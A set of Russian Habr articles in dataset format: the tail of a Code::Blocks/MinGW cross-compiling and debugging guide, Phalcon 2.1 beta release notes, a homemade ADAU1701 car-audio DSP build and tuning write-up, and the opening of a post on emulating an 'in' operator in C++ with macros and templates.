(\*) В новом Code::Blocks немного изменилось меню по сравнению с инструкцией. Настройки искать нужно в 'Settings->Compiler...'. Для старого Code::Blocks (10.05) пункт 5 нужно выполнить полностью, для нового же (12.11) настройку касающуюся gdb в 5 пункте пока трогать не будем.
Если используется boost его лучше положить отдельно от /usr/include, т.к. по этому адресу лежит много linux-специфичных заголовочных файлов, которые мы не хотим включать в проект при компиляции под Windows.
***UPD:** При настройке линковки в поле «Other Linker Options» имеет смысл добавить опцию "-Wl,--subsystem,windows,--kill-at", которая помечает, что это реально Windows DLL, и, что самое главное, запрещает использовать декорирование символов (--kill-at) при экспорте функций с соглашением вызова \_\_stdcall. Подрбнее [здесь](http://www.transmissionzero.co.uk/computing/building-dlls-with-mingw/) и [здесь](http://www.transmissionzero.co.uk/computing/advanced-mingw-dll-topics/).*
Начиная с пункта 7 по ссылке выше, описывается кросс-отладка, но, к сожалению, insight.exe, упоминающийся в инструкциях, найти не удается. Поэтому пойдем своим путем.
##### Кросс-отладка в Code::Blocks & MingW32 gdb для Windows
gdb, который является родным для линукса частично умеет отлаживать Windows приложения, правда, умеет он только останавливаться на исключениях и почти всегда игнорирует точки останова. Чтобы справиться с этими проблемами скачиваем gdb в пакете mingw32 под Windows. Для этого [скачиваем](http://sourceforge.net/projects/mingw/files/Installer/mingw-get/) и затем распаковываем и переходим в подпапку 'bin'. Устанавливаем gdb под Windows:
```
wine mingw-get.exe install gdb
```
Теперь в этой же папке bin появился файл gdb.exe, он-то нам и нужен.
Создаем скрипт для имитации обычного gdb для этого в файл /usr/bin/i586-mingw32msvc-gdb
```
sudo gedit /usr/bin/i586-mingw32msvc-gdb
```
Заносим следующие строки:
```
#!/bin/sh
wine {Path to mingw}/bin/gdb.exe $@
```
Для старого C::B все уже настроенно, для нового же отладчик нужно настроить дополнительно. В пункте 'Settings->Debugger' кликаем по 'GDB/CDB debugger' затем по 'Create Config'. В новом конфиге меняем команду запуска отладчика на '/usr/bin/i586-mingw32msvc-gdb', остальные настройки по желанию. После этого идем в 'Settings->Compiler...", в пункте 'Selected Compiler' выбираем тот компилятор, который настраивали до этого и затем на вкладке 'Toolchain executables' меняем 'Debugger' на наш свежесозданный конфиг. Теперь отладчик будет останавливаться на точках останова, хотя и остановить программу в произволльный момент не сможет (данная проблема пока еще не решена). Правда при попытке отладить,C::B выдает следующую ошибку:
```
The program has stopped on a breakpoint but the breakpoint format is not recognized:
0x1A0x1AZ:{ПутьДоФайлаСТочкойОстанова}/SamplePlugin.cpp:48:948:beg:0x68087599
```
Эта ошибка говорит о том, что плагин отладчика в C::B не понимает выдачу отладчика gdb.exe. Как выяснилось при ближайшем рассмотрении плагин отладчика имеет платформо-зависимый код, и вот тут-то и нужно вспомнить что у нас есть исходники C::B. Мы сейчас слегка подкоррекируем код этого плагина. Нужно будет поменять код только одного файла '{Path to svn code of Code::Blocks}/src/plugins/debuggergdb/gdb\_driver.cpp'
Для этого нужно перейти в корень проекта C::B (откуда запускалась команды ./bootstrap), по умолчанию это папка 'trunk'. И накактить [патч](https://www.dropbox.com/s/vu8qvf5bujef5z8/gdb_driver.cpp.patch):
```
patch --unified --strip=0 --forward --input=gdb_driver.cpp.patch
```
Ну и пересобираем Code::Blocks:
```
sudo ./configure --prefix={Путь по которому устанавливать} --with-contrib-plugins=all
sudo make
sudo make install
```
И почти все готово, остается только создать проект. Шаги 12-13 по [ссылке](http://forums.codeblocks.org/index.php/topic,3343.0.html). Если же вы хотите создать проект dll-библиотеки, то указывайти создание динамической библиотеки в мастере и переименовывайте разширение в dll.
Проверям, что в настройках проекта стоит выбранная нами цепь компилятор-линкер-отладчик. '{Правая клавиша на проект}-Build Options...' пункт 'Selected compiler', и можно радоваться и отлаживаться. Напомню, что по какой-то причине отладчик не может быть прерван во время исполнения, т.е. все отладочные действия могут буть применены только во время останова программы. В частности нельзя поставить новую точку останова, если программа не стоит на какой-либо другой точке останова…
#### Линкование статической библиотеки boost'а
Библиотека boost в основном является набором заголовочных файлов, и потому никаких проблем с линковкой обычно не возникает. Но для некоторых частей boost'а необходимо линковаться к статической библиотеке, например, boost::regex. Пробуем собрать проект и получаем:
```
{...}/boost/regex/v4/cpp_regex_traits.hpp|1059|undefined reference to `boost::scoped_static_mutex_lock::scoped_static_mutex_lock(boost::static_mutex&, bool)'
```
Ошибка возникает из-за того, что мы пытаемся прилинковаться к linux билиотеке, для того чтобы построить windows-приложение.
Чтобы слинковаться нужно скомпилировать boost::regex с помощью MingW32 ([про кросс-компиляцию](http://www.boost.org/boost-build2/doc/html/bbv2/tasks/crosscompile.html)). Скачиваем boost, распаковываем и переходим в папку с распаковынным [boost'ом](http://www.boost.org/users/download/). Создаем файл user-config.jam в корне домашней директории:
```
gedit ~/user-config.jam
```
Со следующим содержанием:
```
using gcc : : i586-mingw32msvc-g++ ;
```
Дальше настраиваем сборку и собираем:
```
sudo ./bootstrap.sh --with-libraries=regex --without-icu
sudo ./b2
```
После выполнения последней команды у меня были ошибки «failed updating 1 target», что, правда, не мешает собираться программам.
В результате, у нас есть полностью подготовленная среда для написания, сборки и отладки Windows-приложений или Windows-библиотек из под Linux. Теперь можно приступать к работе… | https://habr.com/ru/post/162171/ | null | ru | null |
# Релиз Phalcon 2.1.0 beta 1
Мы рады представить вам первый бета-релиз **Phalcon 2.1**!
Релизы 2.1.x будут поддерживаться в течении более длительного периода, 2.1 будет нашей первой версией с долгострочной поддержкой ([LTS](https://en.wikipedia.org/wiki/Long-term_support)).
В 2.0.x мы ввели несколько новых фич и поправили множество багов. Однако, наше внимание всегда было обращено на сохранение обратной совместимости с Phalcon 1.3.x, в то же время мы стимулировали разработчиков обновляться до 2.0.x. Это дало достаточно времени разработчикам на внесение изменений в свои приложения для работы с новой веткой.
Phalcon 2.1 предоставляет новые возможности, некоторые из которых несовместимы с предыдущими версиями, поэтому убедитесь, что вы проверили свои приложения перед обновлением production-систем.
Мы уверены, что изменения в этом релизе оправдают обновление :)
#### Окончание поддержки PHP 5.3
Phalcon 2.0.x — последняя серия релизов с поддержкой PHP 5.3 (>= 5.3.21). Из-за этого ограничения мы не можем включать некоторые улучшения производительности в фреймворк.
С версии 2.1.x мы настоятельно реккомендуем разработчикам обновляться до 5.6, а там уже и PHP7 не за горами. Мы нацелены на работу с PHP 7, но в тоже время рекоммендуемой версией PHP для работы сейчас является 5.6.
#### `Phalcon\Mvc\Model\Validation` объявлен устаревшим (deprecated)
[`Phalcon\Mvc\Model\Validation`](https://docs.phalconphp.com/en/latest/reference/models.html#validating-data-integrity) уступил место в пользу [`Phalcon\Validation`](https://docs.phalconphp.com/en/latest/reference/validation.html). Функциональность обоих компонентов сливается в одно целое, тем самым упрощая поддержку кодовой базы.
Ранее валидация осуществлялась следующим образом:
```
namespace Invo\Models;
use Phalcon\Mvc\Model;
use Phalcon\Mvc\Model\Validator\Email as EmailValidator;
use Phalcon\Mvc\Model\Validator\Uniqueness as UniquenessValidator;
class Users extends Model
{
public function validation()
{
$this->validate(
new EmailValidator(
[
'field' => 'email',
]
)
);
$this->validate(
new UniquenessValidator(
[
'field' => 'username',
'message' => 'Sorry, That username is already taken',
]
)
);
if ($this->validationHasFailed() == true) {
return false;
}
}
}
```
С введением [`Phalcon\Validation`](https://docs.phalconphp.com/en/latest/reference/validation.html), вам необходимо будет изменить вышеуказанный код:
```
namespace Invo\Models;
use Phalcon\Mvc\Model;
use Phalcon\Validation;
use Phalcon\Validation\Validator\Email as EmailValidator;
use Phalcon\Validation\Validator\Uniqueness as UniquenessValidator;
class Users extends Model
{
public function validation()
{
$validator = new Validation();
$validator->add(
'email',
new EmailValidator()
);
$validator->add(
'username',
new UniquenessValidator(
[
'message' => 'Sorry, That username is already taken',
]
)
);
return $this->validate();
}
}
```
Согласитесь, это изменение делает код намного читабельнее.
#### Изменения в конструкторе `Phalcon\Mvc\Model`
Конструктор модели классов был изменен, чтобы позволить вам передавать массив данных для инициализации:
```
$customer = new Customer(
[
'name' => 'Peter',
'status' => 'Active',
]
);
```
Использование этого метода является аналогом `assign()`, т.е. будет использоваться доступный сеттер (реализованный в конкретной модели или встроенный) для присваивания свойства.
#### `Phalcon\Mvc\View` поддерживает несколько директорий представлений
Это была одна из фич, о которой наше сообщество просило множество раз. Рады сообщить, что теперь вы можете использовать любой вид иерархии при указании директорий с представлениями. Особенно это полезно для повторного использования в нескольких модулях:
```
use Phalcon\Mvc\View;
// ...
$di->set(
'view',
function () {
$view = new View();
$view->setViewsDir(
[
'/var/www/htdocs/blog/modules/backend/views/',
'/var/www/htdocs/blog/common/views/',
]
);
return $view;
}
);
```
#### `Phalcon\Mvc\View` теперь поддерживает абсолютные пути
Абсолютный путь теперь может быть использован в `Mvc\View::setLayoutsDir` и `Mvc\View::setPartialsDir`. Это позволяет использовать папки за пределами основной директории представления.
```
use Phalcon\Mvc\View;
// ...
$di->set(
'view',
function () {
$view = new View();
$view->setViewsDir(
[
'/var/www/htdocs/blog/modules/backend/views/',
'/var/www/htdocs/blog/common/views/',
]
);
$view->setLayoutsDir(
'/var/www/htdocs/common/views/layouts/'
);
return $view;
}
);
```
#### `Phalcon\Di` теперь привязан к замыканиям сервисов
В прошлом мы должны были передавать контейнер зависимостей внутрь замыкания сервиса, если необходимо было выполнять некоторые действия внутри. Например, для доступа к конфигу или к event-менеджеру. Теперь мы можем использовать `$this`, чтобы получить доступ к `Phalcon\Di`, а также к уже зарегистрированным сервисам.
Код раньше:
```
use Phalcon\Mvc\Dispatcher;
// ...
$di->set(
'dispatcher',
function () use ($di) {
$eventsManager = $di->getEventsManager();
$eventsManager->attach(
'dispatch:beforeException',
new NotFoundPlugin()
);
$dispatcher = new Dispatcher;
$dispatcher->setEventsManager($eventsManager);
return $dispatcher;
}
);
```
Теперь вы можете получить доступ к сервисам без передачи `$di`:
```
use Phalcon\Mvc\Dispatcher;
// ...
$di->set(
'dispatcher',
function () {
$eventsManager = $this->getEventsManager();
$eventsManager->attach(
'dispatch:beforeException',
new NotFoundPlugin()
);
$dispatcher = new Dispatcher;
$dispatcher->setEventsManager($eventsManager);
return $dispatcher;
}
);
```
#### Разрешено переопределение сервисов
Если объект возвращается после события `beforeServiceResolve` в `Phalcon\Di`, возвращенный экземпляр переопределяет значение сервиса по умолчанию.
В следующем примере показано как переопределить создание сервиса `response` из своего плагина:
```
use Phalcon\Di;
use Phalcon\Http\Response;
use Phalcon\Events\Manager;
use MyApp\Plugins\ResponseResolverInterceptor;
$di = new Di();
$eventsManager = new EventsManager;
// Intercept service creation
$eventsManager->attach(
'di',
new ResponseResolverInterceptor()
);
$di->set('response', Response::class);
$di->setInternalEventsManager($eventsManager);
```
С помощью плагинов можно перехватывать создание сервисов:
```
namespace MyApp\Plugins;
use Phalcon\Http\Response;
class ResponseResolverInterceptor
{
private $cache = false;
public function beforeServiceResolve($event, $di, $parameters)
{
// Intercept creation of responses
if ($parameters['name'] == 'response' && $this->cache == false) {
$response = new Response();
$response->setHeader('Cache-Control', 'no-cache, must-revalidate');
return $response;
}
}
}
```
#### Отключение представления из метода `action`
Иногда существует необходимость выключить представление путем вызова `$this->view->disable()` в рамках конкретного `action`-метода контроллера во избежание дальнейшей обработки результата компонентом `Phalcon\Mvc\View`.
Это стало гораздо проще; просто верните `false`:
```
use Phalcon\Mvc\Controller;
class Api extends Controller
{
public function loginAction()
{
if ($this->safeApp->isBanned()) {
$this->response->setStatusCode(401, "Unauthorized");
return false;
}
// ...
}
}
```
#### Возврат строки делает ее телом ответа
Возврат строки из действия контроллера воспринимается в качестве тела ответа:
(также как `return $this->response->setContent('Hello world')`)
```
use Phalcon\Mvc\Controller;
class Session extends Controller
{
public function welcomeAction()
{
return 'Hello world!
============
';
}
}
```
Особенно удобно, если `Phalcon\Mvc\View\Simple` используется вместо `Phalcon\Mvc\View`:
```
use Phalcon\Mvc\Controller;
class Session extends Controller
{
public function welcomeAction($name)
{
return $this->view->render(
'welcome/index',
[
'name' => $name,
]
);
}
}
```
Эта функция также доступна в обработчиках `Mvc\Micro`:
```
use Phalcon\Mvc\Micro;
$app = new Micro();
// ...
$app->get(
'/hello/{name}',
function () {
return $this->view->render(
'hello',
[
'name' => $name,
]
);
}
);
```
#### Переопределение поведения диспетчера+представления в маршрутах
Маршрутам теперь можно назначать коллбеки, которые могут переопределять поведение по умолчанию у диспетчера и представления:
```
// Make a redirection if the /help route is matched
$router->add('/help', [])->match(function () {
return $this->getResponse()->redirect('https://support.google.com/');
});
// Return a string directly from the route
$router->add('/', [])->match(function () {
return 'It works
========
';
});
```
Читайте полный список изменений Phalcon 2.1 в [CHANGELOG](https://github.com/phalcon/cphalcon/blob/2.1.x/CHANGELOG.md#210-2015-xx-xx).
#### Помощь с тестированием
Данная версия может быть установлена из ветки `2.1.х`. Если у вас нет Zephir, выполните следующие команды:
```
git clone https://github.com/phalcon/cphalcon
git checkout 2.1.x
cd cphalcon/ext
sudo ./install
```
Если же у вас установлен Zephir:
```
git clone https://github.com/phalcon/cphalcon
cd cphalcon/
git checkout 2.1.x
zephir build
```
Мы надеемся, что вам понравятся эти улучшения и дополнения. Приглашаем Вас поделиться своими мыслями и вопросами об этой версии на [Phosphorum](https://forum.phalconphp.com/).
<3 Команда Phalcon | https://habr.com/ru/post/266521/ | null | ru | null |
# Как сделать процессорный звук в Жигулях
Обычно люди идут в магазин автозвука и покупают компоненты. Я же сначала спаял цифровой аудиопроцессор, а компоненты поставил какие есть.
Самая большая проблема автозвука-установка динамиков в самых неподходящих местах: динамик который играет прямо в ногу, сабвуфер массирует спину, влияние формы салона. Пока звук дойдет до ушей он будет уже не тот. Именно поэтому я начал с DSP-процессора.
Оглавление:
===========
[1. Начало](#part_1)
[2. Что внутри](#part_2)
[3. Установка](#part_3)
[4. Настройка](#part_4)
[4.1 Настройка задержек](#part_4_1)
[4.2 Настройка АЧХ](#part_4_2)
[5. Прослушивание](#part_5)
[6. Итоги, достоинства, недостатки](#part_6)
[7. Бонус](#part_7)
0. Термины
==========
* **Мид, Мидбас** — Динамик для низких и средних частот(примерно 80-3кГц)
* **Пищалка** — Динамик для высоких частот (3кГц-20кГц)
* **Саб, Сабвуфер** — Динамик для самых низких частот (20-80Гц)
* **Фазоинвертор** — труба в корпусе колонки(сабвуфера), настроенная на определенную частоту для увеличения звукового давления
* **АЧХ-Амплитудно-Частотная Характеристика** — График зависимости звукового давления от частоты. Идеальная АЧХ — прямая горизонтальная линия. Влияет на восприятие тонального баланса звука.
* **Параметрик, параметрический эквалайзер** — Фильтр с заданной частотой, добротностью, уровнем и типом фильтра(в данной статье peak и lowshelf). В отличие от простого графического эквалайзера является более гибким и применяется в целях коррекции влияния компонентов, установки, помещения(салона). Обычно применяется в студийной и концертной аппаратуре. Без измерения микрофоном настроить практически нереально.
1. Начало
=========
Вдохновился разработками фирмы miniDSP и захотел создать подобное для машины. Сердце процессора чип от Analog Devices ADAU1701
Это готовый DSP процессор для аудио со встроенным 2 канальным АЦП и 4 канальным ЦАП. Практически все используют его в режиме 2х4. Но у меня самая обычная для авто система: 2 мидбаса, 2 пищалки, сабвуфер. Нужно минимум 5 каналов.
Почитав описание выяснилось, что чип поддерживает подключение внешнего ЦАП по I2S шине.
Спаял все на макетке и проверил:
Чип действительно выдает все сигналы для работы цапа и поддерживает дополнительные каналы.
Была разработана и спаяна плата:
Подобран корпус и сделаны передние и задние панельки:
с другой стороны:
2. Что внутри
=============
1. Гальваническая развязка питания с входом Remote (чтобы выключался от магнитолы и не расходовал аккумулятор)
2. Сам чип ADAU
3. EEPROM для хранения настроек ADAU.
4. Чип Cypress cy68013a для прошивки через USB. Плата определяется как программатор Analog Devices USBi. Подключен к ADAU через I2C шину. Можеть прошивать ADAU на лету и EEPROM для сохранения настроек.
5. ЦАП PCM1754 2 канала
6. Входные и выходные операционники с фильтрами по даташиту
7. 2 входа тюльпан и 2 высокоуровневых входа (используются либо тюльпаны либо высокоуровневые. Вместе нельзя)
8. 5 выходов тюльпан
9. 2 входа внешнего управления. На каждый можно подцепить кнопку или переменный резистор (крутилку).
Схема главного блока: 
RC\_IN1 и RC\_IN2 это входы для подключения крутилки/кнопки. Защищены резисторами и диодами. Конденсаторы для защиты от дребезга контактов. Транзистор для внутреннего формирователя напряжения ядра 1,8В. Инвертор с триггером Шмитта для вывода тактовой частоты(masterclock) на ЦАП. Повторитель на ОУ для средней точки аналоговых частей устройства.
Остальная обвеска по даташиту для работы внутренних частей микросхемы.
Входы принимают сигнал с тюльпанов либо с выходов на динамики (вдруг перекочует в машину со штатной магнитолой). Уровни взяты стандартные + небольшой запас, чтобы не получить клиппинг, но и не регулировать в железе. Если что усиление можно сделать в самом процессоре.
Выходной фильтр 2 порядка по даташиту:
ЦАП с точно таким же фильтром:
3. Установка
============
> Магнитола: Alpine CDE-110
>
> Миды: 16см 35гдн-62 в покупных подиумах внизу двери. Динамики так себе
>
> Пищалки: 2,5см Асалаб НЕО-25 в самодельных подиумах на верхней накладке двери, развернуты на водителя. Хорошие динамики с алюмокерамическим куполом.
>
> Сабвуфер: корпусной с фазоинвертором на 8” динамике от АСАлаб
>
> Все динамики были в наличии, поэтому система вышла такая
Усилки: 1 готовый ACV 4 канальник (чёрный справа) и 1 самодельный для пищалок (снизу, серебристый): 
сам дсп процессор сверху слева серебристый в плёнке.
Межблочные кабели: самодельные сделанные в размер
динамики в дверях:
4. Настройка
============
Настройка ведется через утилиту [SigmaStudio](http://www.analog.com/ru/design-center/processors-and-dsp/evaluation-and-development-software/ss_sigst_02.html#dsp-overview): 
Она позволяет как угодно тасовать блоки обработки, входы, выходы. Все настройки применяются “на лету”. Но после перезагрузки чип загружается с EEPROM, поэтому настройки сами не сохраняются. Нужно принудительно прошить EEPROM в этой же утилите.
Во первых были настроены все уровни:
* На процессоре по максимальному сигналу магнитолы.
* На усилителях так чтобы соответствовали мощности динамиков.
* На усилителе пищалок уровень выставлялся таким, чтобы сильно не изменять его в процессоре (На пищалках любой шум будет прекрасно слышен, поэтому лучше не перекручивать усиление).
На этом настройка отверткой закончена. Дальше все только с ноута в сигма студии.
4.1 Настройка задержек
----------------------
Рулеткой замерил расстояние до динамиков. Затем пересчитывал так:
```
Расстояние=(Расстояние до дальнего динамика)-(Измеренное расстояние)
```
Таким образом получено расстояние на которое нужно “отодвинуть” динамик.
Задержки задавались в семплах. Т.к. Частота дискретизации была 48000, то формула такая
Задержка=48000\*расстояние в метрах/340 метров в сек
Максимальная задержка получается для левой пищалки. Минимальная для правого мида и сабвуфера. Так получилось что сабвуфер и правый мид оказались на одном расстоянии.
Значение Max резервирует нужное количество памяти, чтобы регулировать на лету без компиляции.
Впоследствии при прослушивании во все каналы была добавлена задержка в 100 семплов чтобы “придвинуть” сабвуфер. Это настраивалось на слух. Очень сложно уловить что сабвуфер “придвинулся” как надо. Но если задержку убрать, то слышно что сабвуфер играет как бы отдельно сзади.
4.2 Настройка АЧХ
-----------------
Далее будет много графиков АЧХ. Сразу уточню почему некоторые красивые, а некоторые кривые. Те АЧХ, которые сняты близко к динамику на расстоянии 5 сантиметров очень красивые. Но при настройке нужно использовать АЧХ в точке прослушивания. Они складываются с отраженным звуком от поверхностей салона. В некоторых местах образуются узкие и сильные провалы от стоячих волн. Это нормально. Если измерить то же самое в помещении с любой крутой системой, то будут такие же кривульки. При настройке АЧХ самое важное выровнять тональный баланс, чтобы была горизонтальная линия без наклонов, сильных горбов и пиков. Узкие провалы не так важны. Их нельзя исправить закачивая больше энергии. Можно только сделать глухую комнату. В машине это просто невозможно.
Кроме того использован некалиброванный микрофон и некалиброванный вход звуковухи. Он дает хорошие результаты до 8-10 килогерц. Дальше его показаниям не стоит верить.
Вот АЧХ из даташита микрофона:
Сначала настраиваем кроссовер. Частоты выбраны стандартные: 80 герц и 3кГц. Если с нижней частотой еще можно поиграться, то частоту среза пищалки сразу следует выбирать правильно.
На данных пищалках частота резонанса 1,4кГц. По паспорту они играют от 3 кГц. Ниже делать опасно. Выше нежелательно-сцена опустится к мидам. Кроме того левый мид не очень хорошо играет 3кГц т.к. находится под большим углом к водителю и закрывается ногой. Угловая АЧХ начинает спадать уже с 2-2,5 кгц.
АЧХ в точке прослушивания:
Для примера красивая АЧХ вблизи:
Кроссовер брался 4 порядка Линквиц-Райли (24дБ/октава).
АЧХ мида с фильтром 3 кГц:
После подстройки уровней пищалок относительно мидов появился провал на АЧХ на стыке полос:
Поэтому сигнал пищалок был инвертирован. АЧХ выровнялось. На графике не так заметно. На слух очень заметна неслитность звука, когда перепутана фаза.
Окно программы обещает провалы, но реальная АЧХ прямая. Это происходит потому, что динамики находятся в разных точках и звук у них складывается совсем не так, как на идеальном графике в программе:
Самыми проблемными по настройке оказались миды. Левый мид не играл нормально 3 кГц из-за того что не развернут и играет в ногу. Пришлось вытаскивать параметриком. На обоих мидах в точке прослушивания появился пик на 700Гц. Причем если измерять вплотную к динамику пика почти нет. Скорее всего это особенность салона. Исправлено параметриком.
У обоих мидов спад с 400 герц скорее всего из-за негерметичности дверей. Исправлено фильтром Low Shelf.
Для каждого динамика подобраны свои параметры фильтров.
АЧХ мида до коррекции:
Параметрики:
АЧХ мида после коррекции:
Остальные неравномерности нет смысла править. Они меняются если микрофон сместить на несколько сантиметров.
При замере сабвуфера выявился существенный подъем в области 50 Гц не зависящий от положения микрофона:
Скорее всего это влияние салона и места установки т.к. при моделировании его не было. Он был исправлен параметриком. Кроме того добавлен фильтр инфранизких частот (сабсоник) на 35 герц чтобы не убить 8” динамик. Фаза сабвуфера также инвертирована для согласования с мидом.
Скорректированная АЧХ:
АЧХ пищалок не настраивалась.Она получилась ровная за счет того, что сделаны гладкие подиумы и пищалки развернуты прямо в ухо.
Все динамики были подстроены между собой по уровню. Уровень левого канала немного убавлен, чтобы казалось что сидишь между колонками. Самый хороший эффект дает с задержками.
После того как настроены все динамики по отдельности, включаем все каналы и вносим небольшие правки в финальную АЧХ.
Финальная АЧХ: 
Подьем на суббасе в машине-необходимость. Иначе во время движения дорожный шум забивает бас. У многих качественных автомобильных систем похожий подъем.
Провал в районе 3 кГц-не совсем удалось скорректировать особенность установки мидбаса. Не все можно исправить процессором.
Выше 8-10 кГц-особенность микрофона и входа звуковухи. Дает похожий результат и на других колонках
Финальный результат прошит в EEPROM. Чтобы прошивка заработала нужно перезагрузиться: отключить USB, выключить и включить магнитолу.
5. Прослушивание
================
Можно приступить к прослушиванию. Проводилось со смартфона с внешним USB ЦАП и записями во flac.
Изначально эта система использовалась с фильтром из одного конденсатора на пищалке и фильтром в усилителе на сабвуфер. Все крутилось отверткой на слух. Вобщем как у всех.
После настройки звук изменился. Даже не так: ИЗМЕНИИИИИЛСЯ!1!!!
Сцена поднялась, тоесть звук перестал идти из ног и непонятно откуда. А переместился вперед. Все инструменты как живые. Пищалки играют так детально и слитно с мидбасами, как не играли никогда.
Такое ощущение что выкинули все эти мутно звучащие динамики и поставили новые. Удивительно что простые дешевые динамики могут ТАК играть. Сабвуфер перестал бубнеть. Не утапливает все басом. Звучит монолитно с фронтом. Иногда думаешь: где саб? Почему не звучит? А если выключить, то сразу слышно.
После прослушивания была еще одна доработка. На АЧХ сабвуфера заметно, что несмотря на хороший фильтр он играет достаточно далеко за свой диапазон. На музыке это сказалось в том, что его звук как бы затягивает удары и низкие ноты которые и так отыгрываются передними динамиками. В итоге был добавлен еще 1 фильтр выше 100 герц. И этот недостаток пропал.
6. Итоги, достоинства, недостатки
=================================
Вывод: не динамики красят звук. Динамики просто должны быть достаточно качественными и нормально установленными. Но самое главное: НАСТРОЙКА. С готовыми кроссоверами без настройки вы никогда не получите идеальный результат. Можно мучаться и менять систему постоянно или настроить 1 раз и радоваться звуку.
Недостатки:
1. Придется большинство песен с флешки удалить и найти замену в нормальном качестве.
2. На большой громкости миды звучат хуже. Это недостатки самих динамиков и установки.
3. Самый главный недостаток системы задержек — звук имеет хорошую “сцену” только на водительском месте.
Вчера проехался на пассажирском: звук вроде тот же, но уже какой-то простоватый, нет глубины. В безпроцессорной системе этот недостаток тоже есть, но там нет такой большой разницы. Что у водителя, что у пассажира “сцена” хуже, чем на водительском месте системы с процессором.
Самое главное достоинство: Очень приятно настраивать звук с ноута и микрофона. Все изменения не требуют крутить отверткой, паять детали, менять компоненты.
Можно легко исправить любые мелочи, которые в обычной системе потребуют существенной переделки.
Из планов на будущее: улучшить установку мидов. Сейчас двери и технологические отверстия просто проклеены виброй STP. А покупные подиумы прикручены на тонкую обшивку двери.
Провести более тонкую настройку АЧХ и задержек.
7. БОНУС
========
Кто внимательно читал “ЦАП PCM1754 2 канала”. Это значит что процессор получился 6 канальный! Чтобы получить шестой канал достаточно припаять еще один тюльпан к выходу ЦАПа.
Данная статья написана с целью самозанятости, потому что в данный момент нахожусь в поиске любых предложений для сотрудничества.
Интересна ли вам тема автозвука? | https://habr.com/ru/post/313946/ | null | ru | null |
# Реализация оператора in в С++
Привет! Сегодня я надеюсь показать вам немного магии. Моим хобби является придумывание всяких казалось бы невозможных штук на С++, что помогает мне в изучении всевозможных тонкостей языка ну или просто развлечься. Оператор in есть в нескольких языках, например Python, JS. Но в С++ его не завезли, но иногда хочется чтобы он был, так почему бы его не реализовать.
```
std::unordered_map some\_map =
{
{ "black", "white" },
{ "cat", "dog" },
{ "day", "night" }
};
if (auto res = "cat" in some\_map)
{
res->second = "fish";
}
```
Как должен работать оператор я полагаю очевидно. Он берёт левый объект и проверяет есть ли вхождение этого объекта в объекте указанном справа, который не обязательно должен быть коллекцией. Само собой универсального решения нет, как нет универсального решения и для других операторов, потому и была придумана возможность перегрузить их. Следовательно и для оператора in нужно реализовать подобный механизм.
Перегрузка будет выглядеть, например так.
```
bool operator_in(const string& key, const unordered_map& data)
{
return data.find(key) != data.end();
}
```
Думаю мысль ясна, выражение вида.
```
"some string" in some_map
```
Должно превратится в вызов функции.
```
operator_in("some string", some_map)
```
Реализовать данный механизм довольно просто, используя существующие возможности по перегрузке операторов. Сам оператор in по сути своей является макросом который делает перемножение.
```
#define in *OP_IN_HELP{}*
```
В данном случае **OP\_IN\_HELP** является пустым классом и служит нам только для того чтобы выбрать правильную перегрузку.
```
class OP_IN_HELP
{};
template
OP\_IN\_LVAL operator\*(const TIn& data, const OP\_IN\_HELP&)
{
return OP\_IN\_LVAL(data);
}
```
Оператор является шаблонным, что позволяет в качестве первого аргумента принимать любой тип. Теперь нам нужно как-то получить правый объект, не потеряв при этом левый. Для этого мы реализуем класс **OP\_IN\_LVAL** который будет хранить наш левый объект.
```
template
struct OP\_IN\_LVAL
{
const TIn& m\_in;
OP\_IN\_LVAL(const TIn& val) : m\_in(val)
{};
};
```
Так как сам объект будет жив пока выполняется выражение, то нет ничего страшного если мы будем хранить константную ссылку на этот объект. Теперь нам остаётся лишь реализовать внутренний оператор перемножения, который будет нам возвращать результат выполнения перегруженного оператора in, само собой он будет шаблонным.
```
template
struct OP\_IN\_LVAL
{
const TIn& m\_in;
OP\_IN\_LVAL(const TIn& val) : m\_in(val)
{};
template
bool operator\*(const TWhat& what) const
{
return operator\_in(m\_in, what);
}
};
```
Собственно это решение уже будет работать, но оно является ограниченным и не позволит нам писать так.
```
if (auto res = "true" in some_map)
{
res->second = "false";
}
```
Для того чтобы мы имели такую возможность, нам необходимо прокидывать возвращаемое значение перегруженного оператора. Есть две версии как это сделать, одна использует возможности с++14, друга работает в рамках с++11.
```
template
struct OP\_IN\_LVAL
{
const TIn& m\_in;
OP\_IN\_LVAL(const TIn& val)
:m\_in(val)
{};
// Версия для C++14
template
auto operator\*(const TWhat& what) const
{
return operator\_in(m\_in, what);
}
// Версия для C++11
template
auto operator\*(const TWhat& what) const -> decltype(operator\_in(m\_in, what))
{
return operator\_in(m\_in, what);
}
// Для мутабельных объектов нам нужен оператор
// принимающий объект по не константной ссылке
template
auto operator\*(TWhat& what) const -> decltype(operator\_in(m\_in, what))
{
return operator\_in(m\_in, what);
}
};
```
Так как я в основном работаю в Visual Studio 2013 я ограничен рамками С++11 к тому же решение в рамках С++11 будет успешно работать и в С++14, потому советую выбирать его.
Пример реализации обобщённого оператора in для unordered\_map.
```
template
class OpInResult
{
bool m\_result;
TIterator m\_iter;
public:
OpInResult(bool result, TIterator& iter)
: m\_result(result), m\_iter(iter)
{}
operator bool()
{
return m\_result;
}
TIterator& operator->()
{
return m\_iter;
}
TIterator& data()
{
return m\_iter;
}
};
template
auto operator\_in(const TKey& key, std::unordered\_map& data) ->
OpInResult::iterator>
{
auto iter = data.find(key);
return OpInResult::iterator>(iter != data.end(), iter);
}
template
auto operator\_in(const char\* key, std::unordered\_map& data) ->
OpInResult::iterator>
{
auto iter = data.find(key);
return OpInResult::iterator>(iter != data.end(), iter);
}
```
Класс **OpInResult** позволяет переопределяет оператор приведения типа, что позволяет нам использовать его в if. А также переопределяет стрелочный оператор, что позволяет маскировать себя под итератор который возвращает unordered\_map.find().
Пример можно посмотреть тут [cpp.sh/7rfdw](http://cpp.sh/7rfdw)
Хотелось бы также сказать о некоторых особенностях данного решения.
Visual Studio инстанцирует шаблонны в месте использования, что означает что сама функция перегрузки должна быть объявлена до места использования оператора, но может быть объявлена после декларации класса **OP\_IN\_LVAL**. GCC в свою очередь инстанцирует шаблон в месте объявления (когда встречает использование само собой), что означает, что перегруженный оператор должен быть объявлен до того как декларируется класс **OP\_IN\_LVAL**. Если не совсем понятно о чём речь, то вот пример. [cpp.sh/5jxcq](http://cpp.sh/5jxcq) В этом коде я всего лишь перенёс перегрузку оператора in ниже декларации класса **OP\_IN\_LVAL** и он перестал компилироваться в GCC (если только не компилировать с флагом -fpermissive), но успешно компилируется в Visual Studio.
В С++17 появилась возможность писать так.
```
if (auto res = some_map.find("true"); res != some_map.end())
{
res->second = "false";
}
```
Но как мне кажется конструкция вида
```
